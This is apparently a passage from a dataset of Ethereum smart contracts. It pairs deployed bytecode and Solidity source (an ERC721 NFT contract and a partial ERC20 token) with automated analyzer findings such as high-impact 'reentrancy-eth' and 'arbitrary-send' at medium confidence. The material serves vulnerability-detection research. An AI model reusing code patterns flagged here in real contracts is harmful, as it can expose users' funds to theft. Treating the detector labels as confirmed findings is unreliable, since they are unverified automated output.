11adc91906127d3565b6305f5e100611aeb91906128f1565b600554610e9b90919063ffffffff16565b821015611b2e576005546006600a611b1491906127d3565b6305f5e100611b2391906128f1565b935093505050611b37565b81819350935050505b9091565b6000806000806000806000806000611b588a600754600854611d42565b9250925092506000611b686118aa565b90506000806000611b7b8e878787611dd8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611be583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611471565b905092915050565b6000808284611bfc91906126f9565b905083811015611c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3890612534565b60405180910390fd5b8091505092915050565b6000611c556118aa565b90506000611c6c8284611e6190919063ffffffff16565b9050611cc081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d1d82600554611ba390919063ffffffff16565b600581905550611d3881600654611bed90919063ffffffff16565b6006819055505050565b600080600080611d6e6064611d60888a611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611d986064611d8a888b611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611dc182611db3858c611ba390919063ffffffff16565b611ba390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611df18589611e6190919063ffffffff16565b90506000611e088689611e6190919063ffffffff16565b90506000611e1f8789611e6190919063ffffffff16565b90506000611e4882611e3a8587611ba390919063ffffffff16565b611ba390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e745760009050611ed6565b60008284611e8291906128f1565b9050828482611e91919061274f565b14611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec890612574565b60405180910390fd5b809150505b92915050565b600081359050611eeb81612dc5565b92915050565b600081519050611f0081612dc5565b92915050565b600081519050611f1581612ddc565b92915050565b600081359050611f2a81612df3565b92915050565b600081519050611f3f81612df3565b92915050565b600060208284031215611f5b57611f5a612ad5565b5b6000611f6984828501611edc565b91505092915050565b600060208284031215611f8857611f87612ad5565b5b6000611f9684828501611ef1565b91505092915050565b60008060408385031215611fb657611fb5612ad5565b5b6000611fc485828601611edc565b9250506020611fd585828601611edc565b9150509250929050565b600080600060608486031215611ff857611ff7612ad5565b5b600061200686828701611edc565b935050602061201786828701611edc565b925050604061202886828701611f1b565b9150509250925092565b6000806040838503121561204957612048612ad5565b5b600061205785828601611edc565b925050602061206885828601611f1b565b9150509250929050565b60006020828403121561208857612087612ad5565b5b600061209684828501611f06565b91505092915050565b6000602082840312156120b5576120b4612ad5565b5b60006120c384828501611f1b565b91505092915050565b6000806000606084860312156120e5576120e4612ad5565b5b60006120f386828701611f30565b935050602061210486828701611f30565b925050604061211586828701611f30565b9150509250925092565b600061212b8383612137565b60208301905092915050565b6121408161297f565b82525050565b61214f8161297f565b82525050565b6000612160826126b4565b61216a81856126d7565b9350612175836126a4565b8060005b838110156121a657815161218d888261211f565b9750612198836126ca565b925050600181019050612179565b5085935050505092915050565b6121bc81612991565b82525050565b6121cb816129d4565b82525050565b60006121dc826126bf565b6121e681856126e8565b93506121f68185602086016129e6565b6121ff81612ada565b840191505092915050565b60006122176023836126e8565b915061222282612af8565b604082019050919050565b600061223a602a836126e8565b915061224582612b47565b604082019050919050565b600061225d6022836126e8565b915061226882612b96565b604082019050919050565b60006122806017836126e8565b915061228b82612be5565b602082019050919050565b60006122a3601b836126e8565b91506122ae82612c0e565b602082019050919050565b60006122c6601a836126e8565b91506122d182612c37565b602082019050919050565b60006122e96021836126e8565b91506122f482612c60565b604082019050919050565b600061230c6020836126e8565b915061231782612caf565b602082019050919050565b600061232f6029836126e8565b915061233a82612cd8565b604082019050919050565b60006123526025836126e8565b915061235d82612d27565b604082019050919050565b60006123756024836126e8565b915061238082612d76565b604082019050919050565b612394816129bd565b82525050565b6123a3816129c7565b82525050565b60006020820190506123be6000830184612146565b92915050565b60006040820190506123d96000830185612146565b6123e66020830184612146565b9392505050565b60006040820190506124026000830185612146565b61240f602083018461238b565b9392505050565b600060c08201905061242b6000830189612146565b612438602083018861238b565b61244560408301876121c2565b61245260608301866121c2565b61245f6080830185612146565b61246c60a083018461238b565b979650505050505050565b600060208201905061248c60008301846121b3565b92915050565b600060208201905081810360008301526124ac81846121d1565b905092915050565b600060208201905081810360008301526124cd8161220a565b9050919050565b600060208201905081810360008301526124ed8161222d565b9050919050565b6000602082019050818103600083015261250d81612250565b9050919050565b6000602082019050818103600083015261252d81612273565b9050919050565b6000602082019050818103600083015261254d81612296565b9050919050565b6000602082019050818103600083015261256d816122b9565b9050919050565b6000602082019050818103600083015261258d816122dc565b9050919050565b600060208201905081810360008301526125ad816122ff565b9050919050565b600060208201905081810360008301526125cd81612322565b9050919050565b600060208201905081810360008301526125ed81612345565b9050919050565b6000602082019050818103600083015261260d81612368565b9050919050565b6000602082019050612629600083018461238b565b92915050565b600060a082019050612644600083018861238b565b61265160208301876121c2565b81810360408301526126638186612155565b90506126726060830185612146565b61267f608083018461238b565b9695505050505050565b600060208201905061269e600083018461239a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612704826129bd565b915061270f836129bd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561274457612743612a19565b5b828201905092915050565b600061275a826129bd565b9150612765836129bd565b92508261277557612774612a48565b5b828204905092915050565b6000808291508390505b60018511156127ca578086048111156127a6576127a5612a19565b5b60018516156127b55780820291505b80810290506127c385612aeb565b945061278a565b94509492505050565b60006127de826129bd565b91506127e9836129c7565b92506128167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281e565b905092915050565b60008261282e57600190506128ea565b8161283c57600090506128ea565b8160018114612852576002811461285c5761288b565b60019150506128ea565b60ff84111561286e5761286d612a19565b5b8360020a91508482111561288557612884612a19565b5b506128ea565b5060208310610133831016604e8410600b84101617156128c05782820a9050838111156128bb576128ba612a19565b5b6128ea565b6128cd8484846001612780565b925090508184048111156128e4576128e3612a19565b5b81810290505b9392505050565b60006128fc826129bd565b9150612907836129bd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129405761293f612a19565b5b828202905092915050565b6000612956826129bd565b9150612961836129bd565b92508282101561297457612973612a19565b5b828203905092915050565b600061298a8261299d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129df826129bd565b9050919050565b60005b83811015612a045780820151818401526020810190506129e9565b83811115612a13576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612dce8161297f565b8114612dd957600080fd5b50565b612de581612991565b8114612df057600080fd5b50565b612dfc816129bd565b8114612e0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220143d3ea34aa71544bb74584ad201d373751050ac6de51a72d215f40b77d57c7464736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,416 |
0x0A61caD85D3C224eE3ac58f2718ea06948712563
|
/**
*Submitted for verification at Etherscan.io on 2021-06-06
*/
// SPDX-License-Identifier: NONE
pragma solidity 0.8.3;
// Part: ERC721TokenReceiver
/// @dev Note: the ERC-165 identifier for this interface is 0x150b7a02.
interface ERC721TokenReceiver {
/// @notice Handle the receipt of an NFT
/// @dev The ERC721 smart contract calls this function on the recipient
/// after a `transfer`. This function MAY throw to revert and reject the
/// transfer. Return of other than the magic value MUST result in the
/// transaction being reverted.
/// Note: the contract address is always the message sender.
/// @param _operator The address which called `safeTransferFrom` function
/// @param _from The address which previously owned the token
/// @param _tokenId The NFT identifier which is being transferred
/// @param _data Additional data with no specified format
/// @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
/// unless throwing
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes memory _data) external returns(bytes4);
}
// Part: EvohERC721
contract EvohERC721 {
string public name;
string public symbol;
uint256 public totalSupply;
mapping(bytes4 => bool) public supportsInterface;
struct UserData {
uint256 balance;
uint256[4] ownership;
}
mapping(address => UserData) userData;
address[1024] tokenOwners;
address[1024] tokenApprovals;
mapping(uint256 => string) tokenURIs;
mapping (address => mapping (address => bool)) private operatorApprovals;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
constructor(string memory _name, string memory _symbol) {
name = _name;
symbol = _symbol;
supportsInterface[_INTERFACE_ID_ERC165] = true;
supportsInterface[_INTERFACE_ID_ERC721] = true;
supportsInterface[_INTERFACE_ID_ERC721_METADATA] = true;
supportsInterface[_INTERFACE_ID_ERC721_ENUMERABLE] = true;
}
/// @notice Count all NFTs assigned to an owner
function balanceOf(address _owner) external view returns (uint256) {
require(_owner != address(0), "Query for zero address");
return userData[_owner].balance;
}
/// @notice Find the owner of an NFT
function ownerOf(uint256 tokenId) public view returns (address) {
if (tokenId < 1024) {
address owner = tokenOwners[tokenId];
if (owner != address(0)) return owner;
}
revert("Query for nonexistent tokenId");
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
require(_from != address(0));
require(_to != address(0));
address owner = ownerOf(_tokenId);
if (
msg.sender == owner ||
getApproved(_tokenId) == msg.sender ||
isApprovedForAll(owner, msg.sender)
) {
delete tokenApprovals[_tokenId];
removeOwnership(_from, _tokenId);
addOwnership(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
return;
}
revert("Caller is not owner nor approved");
}
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `_to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `_to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param _data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public {
_transfer(_from, _to, _tokenId);
require(_checkOnERC721Received(_from, _to, _tokenId, _data), "Transfer to non ERC721 receiver");
}
function removeOwnership(address _owner, uint256 _tokenId) internal {
UserData storage data = userData[_owner];
data.balance -= 1;
uint256 idx = _tokenId / 256;
uint256 bitfield = data.ownership[idx];
data.ownership[idx] = bitfield & ~(uint256(1) << (_tokenId % 256));
}
function addOwnership(address _owner, uint256 _tokenId) internal {
tokenOwners[_tokenId] = _owner;
UserData storage data = userData[_owner];
data.balance += 1;
uint256 idx = _tokenId / 256;
uint256 bitfield = data.ownership[idx];
data.ownership[idx] = bitfield | uint256(1) << (_tokenId % 256);
}
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
/// except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external {
safeTransferFrom(_from, _to, _tokenId, bytes(""));
}
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(address _from, address _to, uint256 _tokenId) external {
_transfer(_from, _to, _tokenId);
}
/// @notice Change or reaffirm the approved address for an NFT
function approve(address approved, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender),
"Not owner nor approved for all"
);
tokenApprovals[tokenId] = approved;
emit Approval(owner, approved, tokenId);
}
/// @notice Get the approved address for a single NFT
function getApproved(uint256 tokenId) public view returns (address) {
ownerOf(tokenId);
return tokenApprovals[tokenId];
}
/// @notice Enable or disable approval for a third party ("operator") to manage
/// all of `msg.sender`'s assets
function setApprovalForAll(address operator, bool approved) external {
operatorApprovals[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
/// @notice Query if an address is an authorized operator for another address
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return operatorApprovals[owner][operator];
}
/// @notice Concatenates tokenId to baseURI and returns the string.
function tokenURI(uint256 tokenId) public view returns (string memory) {
ownerOf(tokenId);
return tokenURIs[tokenId];
}
/// @notice Enumerate valid NFTs
function tokenByIndex(uint256 _index) external view returns (uint256) {
require(_index < totalSupply, "Index out of bounds");
return _index;
}
/// @notice Enumerate NFTs assigned to an owner
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {
UserData storage data = userData[_owner];
require (_index < data.balance, "Index out of bounds");
uint256 bitfield;
uint256 count;
for (uint256 i = 0; i < 1024; i++) {
uint256 key = i % 256;
if (key == 0) {
bitfield = data.ownership[i / 256];
}
if ((bitfield >> key) & uint256(1) == 1) {
if (count == _index) {
return i;
}
count++;
}
}
revert();
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
)
private
returns (bool)
{
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(to) }
if (size == 0) {
return true;
}
(bool success, bytes memory returnData) = to.call{ value: 0 }(
abi.encodeWithSelector(
ERC721TokenReceiver(to).onERC721Received.selector,
msg.sender,
from,
tokenId,
_data
)
);
require(success, "Transfer to non ERC721 receiver");
bytes4 returnValue = abi.decode(returnData, (bytes4));
return (returnValue == _ERC721_RECEIVED);
}
}
// File: FixedMint.sol
contract EvohFixedMint is EvohERC721 {
constructor(
string memory _name,
string memory _symbol,
string[] memory _tokenURIs,
address[] memory _owners
)
EvohERC721(_name, _symbol)
{
require(_tokenURIs.length == _owners.length);
for (uint256 i = 0; i < _owners.length; i++) {
tokenURIs[i] = _tokenURIs[i];
addOwnership(_owners[i], i);
emit Transfer(address(0), _owners[i], i);
}
totalSupply = _owners.length;
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80634f6ccce711610097578063a22cb46511610066578063a22cb46514610223578063b88d4fde14610236578063c87b56dd14610249578063e985e9c51461025c57610100565b80634f6ccce7146101e25780636352211e146101f557806370a082311461020857806395d89b411461021b57610100565b806318160ddd116100d357806318160ddd1461019257806323b872dd146101a95780632f745c59146101bc57806342842e0e146101cf57610100565b806301ffc9a71461010557806306fdde031461013d578063081812fc14610152578063095ea7b31461017d575b600080fd5b610128610113366004610e5a565b60036020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61014561026f565b6040516101349190610f2f565b610165610160366004610e92565b6102fd565b6040516001600160a01b039091168152602001610134565b61019061018b366004610e31565b61033f565b005b61019b60025481565b604051908152602001610134565b6101906101b7366004610ce7565b610430565b61019b6101ca366004610e31565b610440565b6101906101dd366004610ce7565b610546565b61019b6101f0366004610e92565b610561565b610165610203366004610e92565b6105ae565b61019b610216366004610c94565b610642565b6101456106af565b610190610231366004610df7565b6106bc565b610190610244366004610d22565b610729565b610145610257366004610e92565b610792565b61012861026a366004610cb5565b61083d565b6000805461027c90610fb1565b80601f01602080910402602001604051908101604052809291908181526020018280546102a890610fb1565b80156102f55780601f106102ca576101008083540402835291602001916102f5565b820191906000526020600020905b8154815290600101906020018083116102d857829003601f168201915b505050505081565b6000610308826105ae565b5061040582610400811061032c57634e487b7160e01b600052603260045260246000fd5b01546001600160a01b031690505b919050565b600061034a826105ae565b9050336001600160a01b03821614806103685750610368813361083d565b6103b95760405162461bcd60e51b815260206004820152601e60248201527f4e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c000060448201526064015b60405180910390fd5b826104058361040081106103dd57634e487b7160e01b600052603260045260246000fd5b0180546001600160a01b0319166001600160a01b03928316179055604051839185811691908416907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590600090a4505050565b61043b83838361086c565b505050565b6001600160a01b03821660009081526004602052604081208054831061049e5760405162461bcd60e51b8152602060048201526013602482015272496e646578206f7574206f6620626f756e647360681b60448201526064016103b0565b60008060005b61040081101561053a5760006104bc61010083611007565b9050806104f657600185016104d361010084610f5a565b600481106104f157634e487b7160e01b600052603260045260246000fd5b015493505b60018185901c166001141561052757868314156105195750935061054092505050565b8261052381610fec565b9350505b508061053281610fec565b9150506104a4565b50600080fd5b92915050565b61043b83838360405180602001604052806000815250610729565b600060025482106105aa5760405162461bcd60e51b8152602060048201526013602482015272496e646578206f7574206f6620626f756e647360681b60448201526064016103b0565b5090565b60006104008210156105fa57600060058361040081106105de57634e487b7160e01b600052603260045260246000fd5b01546001600160a01b0316905080156105f857905061033a565b505b60405162461bcd60e51b815260206004820152601d60248201527f517565727920666f72206e6f6e6578697374656e7420746f6b656e496400000060448201526064016103b0565b60006001600160a01b0382166106935760405162461bcd60e51b8152602060048201526016602482015275517565727920666f72207a65726f206164647265737360501b60448201526064016103b0565b506001600160a01b031660009081526004602052604090205490565b6001805461027c90610fb1565b336000818152610806602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b61073484848461086c565b610740848484846109b0565b61078c5760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657220746f206e6f6e204552433732312072656365697665720060448201526064016103b0565b50505050565b606061079d826105ae565b5060008281526108056020526040902080546107b890610fb1565b80601f01602080910402602001604051908101604052809291908181526020018280546107e490610fb1565b80156108315780601f1061080657610100808354040283529160200191610831565b820191906000526020600020905b81548152906001019060200180831161081457829003601f168201915b50505050509050919050565b6001600160a01b0391821660009081526108066020908152604080832093909416825291909152205460ff1690565b6001600160a01b03831661087f57600080fd5b6001600160a01b03821661089257600080fd5b600061089d826105ae565b9050336001600160a01b03821614806108c65750336108bb836102fd565b6001600160a01b0316145b806108d657506108d6813361083d565b15610968576104058261040081106108fe57634e487b7160e01b600052603260045260246000fd5b0180546001600160a01b03191690556109178483610afb565b6109218383610ba6565b81836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45061043b565b60405162461bcd60e51b815260206004820181905260248201527f43616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656460448201526064016103b0565b6000833b806109c3576001915050610af3565b600080866001600160a01b0316600063150b7a0260e01b338b8a8a6040516024016109f19493929190610ef2565b60408051601f198184030181529181526020820180516001600160e01b03166001600160e01b0319909416939093179092529051610a2f9190610ed6565b60006040518083038185875af1925050503d8060008114610a6c576040519150601f19603f3d011682016040523d82523d6000602084013e610a71565b606091505b509150915081610ac35760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657220746f206e6f6e204552433732312072656365697665720060448201526064016103b0565b600081806020019051810190610ad99190610e76565b6001600160e01b031916630a85bd0160e11b149450505050505b949350505050565b6001600160a01b038216600090815260046020526040812080549091600191839190610b28908490610f6e565b9091555060009050610b3c61010084610f5a565b90506000826001018260048110610b6357634e487b7160e01b600052603260045260246000fd5b01549050610b7361010085611007565b6001901b198116836001018360048110610b9d57634e487b7160e01b600052603260045260246000fd5b01555050505050565b816005826104008110610bc957634e487b7160e01b600052603260045260246000fd5b0180546001600160a01b0319166001600160a01b039283161790558216600090815260046020526040812080549091600191839190610c09908490610f42565b9091555060009050610c1d61010084610f5a565b90506000826001018260048110610c4457634e487b7160e01b600052603260045260246000fd5b01549050610c5461010085611007565b6001901b8117836001018360048110610b9d57634e487b7160e01b600052603260045260246000fd5b80356001600160a01b038116811461033a57600080fd5b600060208284031215610ca5578081fd5b610cae82610c7d565b9392505050565b60008060408385031215610cc7578081fd5b610cd083610c7d565b9150610cde60208401610c7d565b90509250929050565b600080600060608486031215610cfb578081fd5b610d0484610c7d565b9250610d1260208501610c7d565b9150604084013590509250925092565b60008060008060808587031215610d37578081fd5b610d4085610c7d565b9350610d4e60208601610c7d565b925060408501359150606085013567ffffffffffffffff80821115610d71578283fd5b818701915087601f830112610d84578283fd5b813581811115610d9657610d96611047565b604051601f8201601f19908116603f01168101908382118183101715610dbe57610dbe611047565b816040528281528a6020848701011115610dd6578586fd5b82602086016020830137918201602001949094529598949750929550505050565b60008060408385031215610e09578182fd5b610e1283610c7d565b915060208301358015158114610e26578182fd5b809150509250929050565b60008060408385031215610e43578182fd5b610e4c83610c7d565b946020939093013593505050565b600060208284031215610e6b578081fd5b8135610cae8161105d565b600060208284031215610e87578081fd5b8151610cae8161105d565b600060208284031215610ea3578081fd5b5035919050565b60008151808452610ec2816020860160208601610f85565b601f01601f19169290920160200192915050565b60008251610ee8818460208701610f85565b9190910192915050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090610f2590830184610eaa565b9695505050505050565b600060208252610cae6020830184610eaa565b60008219821115610f5557610f5561101b565b500190565b600082610f6957610f69611031565b500490565b600082821015610f8057610f8061101b565b500390565b60005b83811015610fa0578181015183820152602001610f88565b8381111561078c5750506000910152565b600181811c90821680610fc557607f821691505b60208210811415610fe657634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156110005761100061101b565b5060010190565b60008261101657611016611031565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461107357600080fd5b5056fea2646970667358221220d67106fdd756fc3499796a077725899c6e644bc81d0b884fd9f14eeeacceb28f64736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,417 |
0x6512703abc809b88921703b7572a53c652f96371
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor(address _owner) public {
owner = _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
